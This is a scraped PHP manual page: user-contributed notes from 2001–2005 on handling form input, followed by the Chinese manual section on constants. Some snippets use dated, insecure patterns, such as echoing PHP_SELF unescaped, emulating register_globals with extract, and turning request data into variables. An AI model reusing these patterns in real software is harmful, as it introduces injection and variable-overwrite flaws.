Here is my solution to the following annoying problems:
 - When POSTing data and updating/going back one page, an annoying message appears from the browser since the POST data has been preserved.
 - External user-inputs (POST and GET) are devided into two arrays (POST and GET).

Problems often solved with rather exotic solutions, dependent on the specific context. This is my exotic solution, independent of context. A little code-block to be copy-pasted to the top of the desired PHP document. Performing in about 0.1 ms, session_start() not included + around 0.01 ms pr. input variable.
Filestreams and URL modifications must be executed before this class is executed.

Overview: collects POST and GET data in a class. When data is POSTed, the data is serialized into a session variable, page is reloaded (without POST data) and the data is unserialized into the class again for use through the rest of the document.

<?PHP
session_start();

class _xvar {
   function _xvar() {
       if(!$_SESSION['xvars_serialized']) {
           // If data has just been recieved, it is saved in $this and the current URL is builded.
           foreach ($_GET as $key => $value) $this->{$key} = $value;
           foreach($_POST as $key => $value) $this->{$key} = $value;
           $this->doc_url = 'http://' .$_SERVER['HTTP_HOST'] .$_SERVER['PHP_SELF'] .'?' .$_SERVER['argv'][0];

           // If no POST data is recieved, nothing more is to be done. If POST data is recieved it is serialized to session and the page is redirected to itself with GET data but without POST data.
           if($_POST) {
               $_SESSION['xvars_serialized'] = serialize($this);
               header('Location: ' .$this->doc_url);
               exit();
           }
       }

       // Just after the above redirecting, GET and POST data is unserialized into the object.
       else {
           $this = unserialize($_SESSION['xvars_serialized']);
           $_SESSION['xvars_serialized'] = 0;
       }
   }
}
$_XVAR = new _xvar;

// Calling the data throughout the document.
echo $_XVAR->foo;
?>

I find it very useful in my project-management systems with lots of forms and links as user-inputs. The code is completly $_GET and $_POST free! :-)
krydprz at iit dot edu
04-May-2005 04:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
user: "someuser" at mai1server "ua.fm"
03-May-2005 03:17
Numerous string like:

if (isset($_POST["var1"]))
   $var1=$_POST["var1"];
else $var1='';
...
if (isset($_POST["varN"]))
   $varN=$_POST["varN"];
else $varN='';

Can be replaced with:

get_superglobal_vars_from_POST('var1',...,'varN');

function get_superglobal_vars_from_POST()
{
   $numargs = func_num_args();
   $setargs = 0; // for counting set variables
   for ($i=0; $i<$numargs; $i++)
   {
   $varname=func_get_arg($i);
   if (!isset($_POST[$varname]))
       $result='';
   else
   {
       $result=$_POST[$varname];
       $setargs++;
   }
   $GLOBALS["$varname"]=$result;
   }
   return $setargs; // who cares?
}
tim at timpauly dot com
30-Apr-2005 09:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// www.timpauly.com
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
   {

   $arcnt = count($tmpArray[$key]);

   if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
   {
     $lcount = 0;
     foreach ($tmpArray[$key] as $dval)
       {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
       }

       } else { // process passed single variables

               $prkey = $prefx.$key; // create a new key string
// with the prepend string added
               $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
               $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
   }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org
09-Apr-2005 12:38
To handle forms with or without [] you can do something like this:

   function repairPost($data) {
       // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
       $rawpost = "&".file_get_contents("php://input");
       while(list($key,$value)= each($data)) {
           $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
           if((!is_array($value)) && ($pos > 1)) {
               $qform[$key] = array();
               for($i = 0; $i < $pos; $i++) {
                   $qform[$key][$i] = urldecode($regs[1][$i]);
               }
           } else {
               $qform[$key] = $value;
           }
       }
       return $qform;
   }

   // --- MAIN

   $_POST = repairPost($_POST);

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
agup at cpr dot org
16-Mar-2005 09:43
If you have multiple checkboxes that you want to submit from an html form to process elsewhere, you might try using this methodology:

1) create a unique id number for each row in the table
2) assign that unique row id to each checkbox input name
3) pass the total number of rows as a hidden value in the form
4) recover all the checkbox booleans by iterating through all the unique settings.
5) on the downstream page you can assign any value you want to the variable before writing it to the database or whatever you need to do. For example; you can assign the value 0 if the boolean for the checkbox is FALSE.

row=0;
do{
<form name="some_name" action="some_action.php" method="post">
<td><input type="checkbox" name="unique_item[<?echo$row?>]">
<INPUT TYPE="hidden" name="row_count" value="<?echo$row?>"></INPUT>
<INPUT TYPE="submit" name="....">
.
.
row++;
}
while (something);
</table>
</form>

Upon submit, all the unique checkbox booleans can then be recovered on another PHP page using:

$some_data = $_POST['some_data'];
$row_count = $_POST['row_count'];

$row=0;
do {

if($some_data[$row]){
...do something...e.g. assign a variable, write to db, etc.
}

if(!$some_data[$row]){
...do something...e.g. assign a variable, write to db, etc.
}

$row++;
}

while ($row<$row_count);

I left out alot of syntax since this example is simply illustrative to cover multiple scenarios. Don't forget to always validate form data before entering it into a database. I hope this helps.
Murat TASARSU
03-Mar-2005 08:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com
02-Feb-2005 09:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
__kbanks at (__ignoreunderscores) dot gmail dot com
17-Jan-2005 07:05
Hi all:

I'm presently building a solution to programmatically build, view, and validate HTML forms when I came across the ol' PHP non-scalar form variable handling problem.  Because my form validator class would really have no way of knowing if a given form variable was meant to be scalar or not, I decided to TREAT ALL PHP FORM VARIABLES AS ARRAYS, i.e., to use the '[]' syntax for all variables, scalar or not.  This way, the form designer need not remember to specify the '[]' syntax, and the Form->HTML transformer need not scan for every input within the form, looking for duplicate names.  This also eliminates the risk of losing data you meant to keep in an array but to which you forgot to apply the '[]' syntax.

You may then either treat all form variables as arrays in your form handling code, or you may, as I intend to do, filter each HTML request through a Front Controller (desc. in Fowler, PoEAA).  The Front Controller would convert all arrays of length 1 to a scalar variable and leave multi-element arrays as they are.  This should essentially convert PHP's handling of non-scalar form variables to that of ASP's (or slightly better, since multiple form values of the same name will actually be arrays, not just comma-seperated values).

This way my Form Validator class can just check if the input to validate is an array, and then apply some constraint across each element in the array.
dreptack at op dot pl
03-Jan-2005 04:33
I needed to post html form through image input element. But my problem was I had to use multiple image-buttons, each one for a single row of form table. Pressing the button was mention to tell script to delete this row from table and also (in the same request) save other data from the form table.
I wrote simple test-script to see what variable I should check for in a script:

I have a html document:

<form action="test.php" method="post">
<input type="image" name="varscalar" src="/images/no.gif" />
<input type="image" name="vararray[12]" src="/images/no.gif" />
</form>

And a php script:
<?php
  if ($_POST) {
   echo "post: <pre>"; print_r($_POST); echo '</pre>';
  }
?>

What I've discovered suprised me a lot.

After hitting on varscalar:

post:
Array
(
   [varscalar_x] => 6
   [varscalar_y] => 7
)

After hitting on upper right corner of vararray:

post:
Array
(
   [vararray] => Array
       (
           [12] => 2
       )

)

This mean when clicking on image-type input element, which name is an array, only y-part of a value is remembered.

The result is the same on: php 4.1.2 on Win98se, php 4.3.9-1 on linux
mattij at nitro fi no at no dot no
05-Nov-2004 11:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
   window.opener.document.forms[0]["to[where][we][point]"];
</script>
pascal dot poncet at netconsult dot com
28-Oct-2004 11:33
Concerning the use of both javascript and php in working with forms :

In a php code, it's quiet easy and practical to use names like "fieldname[]" in checkbox input type html elements. You will then retrieve the value(s) transmitted in the "fieldname" array type variable.

But a difficulty appears in coding some javascript function able to manipulate those fields values to verify them, as "fieldname[]" must not be recognize directly as an array in the script.

Here is a nice way to solve this question :

(html code)
  <form method="post" action="..." onsubmit="return verifyForm(this)">
   <input type="checkbox" name="colors[]" value="black"> black<br>
   <input type="checkbox" name="colors[]" value="white"> white<br>
   <input type="checkbox" name="colors[]" value="other"> other color<br>
  </form>

(javascript code)
  function verifyForm(form) {
   var selColors=new String();
   for(i=0;i<form["colors[]"].length;i++)
     if(form["colors[]"][i].checked) selColors+=form["colors[]"][i].value;
   if(selColors=="") msgErr="You have to check at least one choice of color";
   ...
  }

Of course, you may also verify anything else about the checked values, like the value itself, only by using 'form["colors[]"][i].value' instead of '...checked'.

Happy to help you,
Pascal

PS : apologying for my bad english.
&#20219;&#20384;(hsh_crack at tom dot com)
04-Aug-2004 03:12
a simple example:

<?
if(!isset($_POST["username"]))
{
?>
<form action=<? echo $_SERVER['PHP_SELF'] ?> method="post">
&#22995;&#21517;:<input type="text" name="username"><br>
&#30005;&#23376;&#37038;&#20214;:<input type="text" name="email"><br>
<input type="submit" name="submit" value="&#25552;&#20132;">
</form>
<?
}
else{echo $_POST["username"];} ?>
lennynyktyk at yahoo dot com
10-Jul-2004 05:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
   echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com
27-Mar-2004 03:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
jan.gacioch at motorola dot com
20-Feb-2004 03:52
Just a correction regarding 'cscotti@ifrance' contribution: code '$first = $item_value;' should be place just BEFORE the 'else if' condition and NOT AFTER.
So correct code would be:

function multi_post_item() {
   $array_output = array();
   $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
   foreach ($raw_input_items as $input_item) {
       // split this item into name/value pair
       $item = split("=", $input_item);
       // form item name
       $item_name = urldecode($item[0]);
       // form item value
       $item_value = urldecode($item[1]);
       if ( !isset($array_output[$item_name]) ) {
           $array_output[$item_name] = $item_value;
           $first = $item_value;
       } elseif ( !is_array($array_output[$item_name]) ) {
           $array_output[$item_name] = array();
           $array_output[$item_name][]= $first;
           $array_output[$item_name][]= $item_value;
       } else {
           $array_output[$item_name][]= $item_value;
       }
   }
   return $array_output;
}
epr3
12-Feb-2004 05:40
there is more simple to generate the checkbox and recognize
which box is clicked

<?php

echo '<script language="JavaScript" type="text/JavaScript">

var t = 0;

</script>';

for($i = 0 ;$i <5 ;$i++){

  echo '
  <script language="JavaScript" type="text/JavaScript">

  t++;

  document.writeln(t);
  document.writeln("<input type=\"checkbox\" name=\"cbx_foo[]\" value=\"" + t + "\">");

  </script>
  ';
}

foreach($_POST['cbx_foo'] as $value) {

   echo "<BR>You clicked checkbox number " . $value . "\n";
}

?>
jim at jamesdavis dot it
23-Jan-2004 03:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
   for ($r=0; $r <= count($_POST['english'])-1; $r++){
       echo $_POST['english'][$r]."<BR>";
   }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net
02-Dec-2003 12:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

function multi_post_item($repeatedString) {
   // Gets the specified array of multiple selects and/or
   // checkboxes from the Query String
   $ArrayOfItems = array();
   $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
   foreach ($raw_input_items as $input_item) {
       $itemPair = split("=", $input_item);
       if ($itemPair[0] == $repeatedString) {
           $ArrayOfItems[] = $itemPair[1];
       }
   }
   return $ArrayOfItems;
}

Use the name of the field as the agrument. Example:
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');

Be sure to check for NULL if there are no selections or boxes checked.
07-Nov-2003 01:07
It's been driving me mad, but I've finally worked out the only way to reliably allow form data to be fed back into a form (for editing a record, for instance) is like this:

echo "<input type='text' name='varname' ";
if(isset($existingvalue))
   echo "value=\"".htmlspecialchars(stripslashes($existingvalue))."\" ";
echo "/>";

This assumes that variables have been escaped (such as addslashes) after being retrieved from the database or after being received from a (probably this) form.

Note the type of quotes used in the code above: the value attribute must use escaped double-quotes, and the echo command must use double-quotes, or errors occur when single quotes appear in the data. htmlspecialchars will protect the form from errors caused by data that contains double quote marks, and it stops errors occurring when triangle brackets < > are present in the data.

Alas, to make your site display properly, you must also use htmlspecialchars every time string data is displayed to the user.

There might be an easier way of allowing data to safely be put back into a form, but if there is, I've spent a lot of time not finding it.
soeren at hattel dot dk
06-Nov-2003 08:07
The decision in PHP to translate a query string like:

a=2&a=3&a=4

into one single variable a=4 is simply strupid!

The "wonderful" hack allowing multiple values to be read only if one uses:

a[]=2&a[]=3&a[]=4

is - at first sight - a nice feature but soon become a pain in the a..!

In ASP and ASPX the first situation is handled as:

a=2,3,4

which is better than the PHP behaviour but still bad (what if your variable values contain commas?).

It seems to me that the proper behaviour would be:

a=2&a=3&a=4

automatically generates an array with all the variables inside. I know this would require proper error handling but evevy things does anyway!
kevinrlat nospam dot ccs dot neu dot edu
08-Aug-2003 01:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
nospam at thenerdshow dot calm
12-Jul-2003 06:04
I've combined the method of converting old code suggested by solar at heliacal dot net into the improved script below.  This one works whether the submit is get or post and, as in my previous contribution, sets any unsubmitted variables to null, preventing errors.  This supercedes my previous post below (if it hasn't been deleted yet).

$expected=array(

'name',    //    Only accept these variables from a submit!
'email',
'favorite_color'

); foreach ($expected as $formvar)
$$formvar = (isset(${"_$_SERVER[REQUEST_METHOD]"}[$formvar]))?
   ${"_$_SERVER[REQUEST_METHOD]"}[$formvar]:NULL;
nospam at thenerdshow dot calm
09-Jul-2003 08:57
you can convert old code to work with register_globals=off without sacrificing security.  Or maybe you like working with variables the old way better.  I know I do!

I looked all over for something like this so here it is:

$expected=array(

'name',    //    Only accept these variables from a submit!
'email',
'favorite_color'

); for ($i=0;$i < count($expected);$i++)
   $$expected[$i] = (isset($_GET[$expected[$i]]))?$_GET[$expected[$i]]:NULL;

   // This is a test.
echo "Name: $name<br>";
echo "Email: $email<br>";
echo "Fav. Color: $favorite_color<br>";
cscotti@ifrance
09-Jul-2003 07:53
In reply to the second post:

This function construct an HTTP vars array

It is useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.

function multi_post_item() {
   $array_output = array();
   $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
   foreach ($raw_input_items as $input_item) {
           // split this item into name/value pair
           $item = split("=", $input_item);
           // form item name
           $item_name = urldecode($item[0]);
           // form item value
           $item_value = urldecode($item[1]);
           if (!isset($array_output[$item_name]) ) {
               $array_output[$item_name] = $item_value;
           }else if (!is_array($array_output[$item_name])){
                   $first = $item_value;
                   $array_output[$item_name] = array();
                   $array_output[$item_name][]= $first;
                   $array_output[$item_name][]= $item_value;
           }else{
                   $array_output[$item_name][]= $item_value;
           }
   }
   return $array_output;
}
mraymer at universal-solutions dot net
28-May-2003 08:37
A further thought about the checkbox without check mentioned above.  Rather than writing in a HIDDEN element.  Why not have your validation code check for the variable of the checkbox like so:

Assume HTML form has the following unchecked checkbox:

<INPUT TYPE='CHECKBOX' NAME="CATEGORY[]">Category Name</INPUT>

then your ACTION script in the form points to a script which has:

if (!isset($checkbox))
  {
  CATEGORY[] = "off";
  }

If you were dynamically creating the checkboxs, then, most likely, you would have your hands on the keys for each CATEGORY and you could create something like:

while (list($cat_id,$cat_title) = each($categories))
  {
   if (isset($category))
     {
   if (!$category[$cat_id])
     {
       $category[$cat_id] = "off";
     }
   else
     {
       $category[$cat_id] = "on";
     }
     }
   else
     {
   $category[$cat_id] = "off";
     }
  }

Assuming that you have an array named $categories constructed with unique keys and category titles.
un shift at yahoo dot com
02-Apr-2003 02:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
           // split this item into name/value pair
           $item = split("=", $input_item);
           // form item name
           $item_name = $item[0];
           // form item value
           $item_value = $item[1];
           if ($item_name == $input_item_name) {
                   $array_output[] = $item_value;
           }
     }
     return $array_output;
}
vb at bertola dot eu dot org
20-Mar-2003 01:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
mail at paulodeon dot com
12-Mar-2003 09:42
If you have form data that could be coming in via either GET or POST and register_globals is off (as it should be) use the empty() function to find out where the data is coming from, as in the following example

if(empty($_GET)) {
       $clientfilter = $_POST['clientfilter'];
       $branchfilter = $_POST['branchfilter'];
}
if(empty($_POST)) {
   $clientfilter = $_GET['clientfilter'];
   $branchfilter = $_GET['branchfilter'];
}

Big thank you to all the people posting helpful comments on these boards, I dont know what i'd do without you. <a href="www.paulodeon.com">www.paulodeon.com</a>
04-Mar-2003 11:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro
03-Feb-2003 11:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
philip at cornado dot com
09-Oct-2002 01:58
One method to mimick register_globals being on at runtime is:

  if (!ini_get('register_globals')) {
   $types_to_register = array('GET','POST','COOKIE','SESSION','SERVER');
   foreach ($types_to_register as $type) {
     if (@count(${'HTTP_' . $type . '_VARS'}) > 0) {
       extract(${'HTTP_' . $type . '_VARS'}, EXTR_OVERWRITE);
     }
   }
  }
It's not recommended to do this, just rewrite your scripts instead, it's not hard.
steiner277 at charter dot net
10-Jul-2002 08:55
When accessing variables from a post, do NOT put $_POST['fieldname'] in double quotes or you will get an error message.

e.g. the following works fine:

$msg = "The message is:\t" . $_POST['message'] . "\n";

but the following will cause errors:

$msg = "The message is:\t$_POST['message']\n";
hjncom at hjncom dot net
25-May-2002 06:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
jesper at codecrew dot dk
11-May-2002 10:12
Just to help others with the same stupid problem i have:

I you use a checkbox in your form, it will only return the value specified in value if it is checked.

ex. <input type="checkbox" value="yes">

in php code you then write

$checkboxchecked = ($checkbox == "yes");

I guess :)
a at b dot c dot de
03-Feb-2002 08:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com
31-Jan-2002 06:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com
11-Mar-2001 08:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php
add a note add a note

后退 | 起点 | 前进
可变变量 | 上一级 | 常量


常量

PHP 手册
后退 前进

章 13. 常量

目录
语法
魔术常量

常量是一个简单值的标识符（名字）。如同其名称所暗示的，在脚本执行期间该值不能改变（除了所谓的魔术常量，它们其实不是常量）。常量默认为大小写敏感。按照惯例常量标识符总是大写的。

常量名和其它任何 PHP 标签遵循同样的命名规则。合法的常量名以字母或下划线开始，后面跟着任何字母，数字或下划线。用正则表达式是这样表达的：[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

例子 13-1. 合法与非法的常量名

<?php

// 合法的常量名
define("FOO",     "something");
define("FOO2",    "something else");
define("FOO_BAR", "something more")

// 非法的常量名
define("2FOO",    "something");

// This is valid, but should be avoided:
// PHP may one day provide a magical constant
// that will break your script
define("__FOO__", "something");

?>

注: 在这里，字母是 a-z，A-Z，以及从 127 到 255（0x7f-0xff）的 ASCII 字符。

和 superglobals 一样，常量的范围是全局的。不用管作用域就可以在脚本的任何地方访问常量。有关作用得更多信息请阅读手册中的变量范围。

语法

可以用 define() 函数来定义常量。一个常量一旦被定义，就不能再改变或者取消定义。

常量只能包含标量数据（boolean，integer，float 和 string）。

可以简单的通过指定其名字来取得常量的值，不要在常量前面加上 $ 符号。如果常量名是动态的，也可以用函数 constant() 来读取常量的值。用 get_defined_constants() 可以获得所有已定义的常量列表。

注: 常量和（全局）变量在不同的名字空间中。这意味着例如 TRUE 和 $TRUE 是不同的。

如果使用了一个未定义的常量，PHP 假定想要的是该常量本身的名字，如同用字符串调用它一样（CONSTANT 对应 "CONSTANT"）。此时将发出一个 E_NOTICE 级的错误。参见手册中为什么 $foo[bar] 是错误的（除非事先用 define() 将 bar 定义为一个常量）。如果只想检查是否定义了某常量，用 defined() 函数。

常量和变量不同：

  • 常量前面没有美元符号（$）；

  • 常量只能用 define() 函数定义，而不能通过赋值语句；

  • 常量可以不用理会变量范围的规则而在任何地方定义和访问；

  • 常量一旦定义就不能被重新定义或者取消定义；

  • 常量的值只能是标量。

例子 13-2. 定义常量

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.
?>

参见类常量。

add a note add a note User Contributed Notes
martin at larsen dot dk
23-Feb-2006 06:24
I find variables much more flexible than constants because variables can be used inside quotes and heredocs etc. Especially for language systems, this is nice.

As stated in one of the previous notes, there is no speed penalty by using variables. However, one issue is that you risc name collision with existing variables. When implementing a language system I simply found that adding a prefix to all the variables was the way to go, for example:

$LNG_myvar1 = "my value";

That is easier and performs faster than using arrays like

$LNG['myvar'] = "my value";

As a final note, implementing a new superglobal in PHP would make using constants much more beneficial. Then it could be used in qoutes like this:

"The constant myconst has the value $CONSTANTS[myconst] !"
anj at aps dot anl dot gov
21-Dec-2005 12:42
It is possible to define constants that have the same name as a built-in PHP keyword, although subsequent attempts to actually use these constants will cause a parse error. For example in PHP 5.1.1, this code

   <?php
   define("PUBLIC", "Hello, world!");
   echo PUBLIC;
   ?>

gives the error

   Parse error: syntax error, unexpected T_PUBLIC in test.php on line 3

This is a problem to be aware of when converting PHP4 applications to PHP5, since that release introduced several new keywords that used to be legal names for constants.
kencomer at NOSPAM dot kencomer dot com
14-Sep-2005 08:38
Being a belt and suspenders person, when I use a constant to do flow control (i.e., using constants to determine which version of a section of the program should be used), I always use something like:

if ( defined('DEBUG') && TRUE===DEBUG )

If you accidentally use DEBUG somewhere before it is defined, PHP will create a new constant called DEBUG with the value 'DEBUG'. Adding the second comparison will prevent the expression from being TRUE when you did not intentionally create the constant. For the constant DEBUG, this would rarely be a problem, but if you had (e.g.) a constant used to determine whether a function was created using case-sensitive comparisons, an accidental creation of the constant IGNORE_CASE having the value 'IGNORE_CASE' could drive you up the wall trying to find out what went wrong, particularly if you had warnings turned off.

In almost all code I write, I put this function definition in my configuration section:

if (!function_exists("debug_print")) {
  if ( defined('DEBUG') && TRUE===DEBUG ) {
   function debug_print($string,$flag=NULL) {
     /* if second argument is absent or TRUE, print */
     if ( !(FALSE===$flag) )
       print 'DEBUG: '.$string . "\n";
   }
  } else {
   function debug_print($string,$flag=NULL) {
   }
  }
}

Then, in my code, I'll sprinkle liberal doses of debug code like :

define("DEBUG_TRACK_EXAMPLE_CREATION",FALSE);
class Example extends Something {
  __construct($whatever) {
   debug_print( "new instance of Example created with '$whatever'\n",DEBUG_TRACK_EXAMPLE_CREATION);
  }
}

and :

debug_print("finished init.\n")

In the first case, I would not want to see that message every time I went into DEBUG mode, so I made it a special case. The second case is always printed in DEBUG mode. If I decide to turn everything on, special cases and all, all I have to do is comment out the "if" line in debug_print() and presto magicko! It costs a little and gains a lot.

As another belt-and-suspenders aside, notice that, unlike most people, I put the language constant (e.g.,TRUE, "string", etc.) on the left side of the comparison. By doing that, you can never accidentally do something like
  if ( $hard_to_find_error="here" )

because you always write it as
  if ( "here"==$no_error )

or, if you got it wrong,
  if ( "here"=$easy_to_find_parse_error )
a dot eibach at gmx dot net
01-Sep-2005 05:11
It took me almost 30 minutes to find out what was wrong in my code. I thought I had defined all constants correctly: correct quotes, and whatnot.
The problem: I am a C programmer and I used #define with the preprocessor hash sign! No effect, naturally.
So if you happen to come from C world and you program PHP, *DO NOT* use the preprocessor hash as you're used to in C.
Angelina Bell
26-Jul-2005 03:39
It is so easy to create a constant that the php novice might do so accidently while attempting to call a function with no arguments.  For example:
<?php
function LogoutUser(){
// destroy the session, the cookie, and the session ID
  blah blah blah;
  return true;
}
function SessionCheck(){
  blah blah blah;
// check for session timeout
...
